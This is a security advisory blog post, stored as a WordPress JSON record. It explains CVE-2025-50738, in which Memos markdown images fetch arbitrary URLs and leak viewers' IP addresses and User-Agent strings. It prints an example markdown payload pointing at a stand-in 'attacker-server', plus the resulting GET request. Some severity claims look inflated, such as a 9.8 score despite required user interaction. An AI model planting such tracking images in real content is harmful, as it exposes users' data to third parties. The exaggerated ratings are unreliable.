{"id":59871,"date":"2025-08-04T11:50:17","date_gmt":"2025-08-04T11:50:17","guid":{"rendered":""},"modified":"2025-09-08T20:52:39","modified_gmt":"2025-09-09T02:52:39","slug":"cve-2025-50738-memos-application-vulnerability-allows-for-unauthorized-user-information-disclosure","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-50738-memos-application-vulnerability-allows-for-unauthorized-user-information-disclosure\/","title":{"rendered":"CVE-2025-50738: Memos Application Vulnerability Allows for Unauthorized User Information Disclosure<\/strong>"},"content":{"rendered":"

Overview<\/strong><\/p>\n

The cybersecurity landscape is constantly evolving, and new threats are emerging every day. One such threat that has come to the limelight recently is CVE-2025-50738. This critical vulnerability<\/a> lies within the Memos application, specifically affecting versions up to v0.24.3. This vulnerability is particularly concerning because it allows<\/a> an attacker to exploit markdown images with arbitrary URLs to disclose sensitive user information. As a result, the attacker can gain unauthorized access<\/a> to a user’s IP address, browser User-Agent string, and potentially other request-specific information. Such data leakage<\/a> could have serious consequences, including system compromise and stealthy user tracking.<\/p>\n

Vulnerability Summary<\/strong><\/p>\n

CVE ID: CVE-2025-50738
\nSeverity: Critical (CVSS: 9.8)
\nAttack Vector: Network
\nPrivileges Required: None
\nUser Interaction: Required
\nImpact: Information disclosure, potential system<\/a> compromise, and user tracking<\/p>\n

Affected Products<\/strong><\/p>\n

Product | Affected Versions<\/p>\n

Memos Application | Up to v0.24.3<\/p>\n

How the Exploit Works<\/strong><\/p>\n

The vulnerability stems from the Memos application’s<\/a> ability to embed markdown images with arbitrary URLs. When a memo containing such an image is viewed by a user, the app would automatically fetch the image URL without the explicit consent or interaction of the user. An attacker could exploit<\/a> this automatic fetch mechanism by embedding an image URL that points to a server under their control. As the user’s browser sends a request to fetch the image, it divulges sensitive information<\/a> such as the user’s IP address and the browser User-Agent string, which the attacker can log for malicious purposes.<\/p>\n

Conceptual Example Code<\/strong><\/p>\n

Below is a hypothetical malicious markdown input an attacker could use, where `http:\/\/attacker-server\/` is an attacker-controlled server:<\/p>\n

![malicious_image](http:\/\/attacker-server\/image.png)<\/code><\/pre>\n
When a user views this memo, the Memos application would automatically send a GET request to fetch the image:<\/p>\n
GET \/image.png HTTP\/1.1\nHost: attacker-server\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/58.0.3029.110 Safari\/537.36<\/code><\/pre>\n
This request discloses the user’s IP address, User-Agent string, and potentially other sensitive information to the attacker-controlled server<\/a>.<\/p>\n","protected":false},"excerpt":{"rendered":"
Overview The cybersecurity landscape is constantly evolving, and new threats are emerging every day. One such threat that has come to the limelight recently is CVE-2025-50738. This critical vulnerability lies within the Memos application, specifically affecting versions up to v0.24.3. This vulnerability is particularly concerning because it allows an attacker to exploit markdown images with […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[77,91,82],"product":[],"attack_vector":[],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-59871","post","type-post","status-publish","format-standard","hentry","category-uncategorized","vendor-apple","vendor-google","vendor-microsoft"],"aioseo_notices":[],"aioseo_head":"\n\t\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t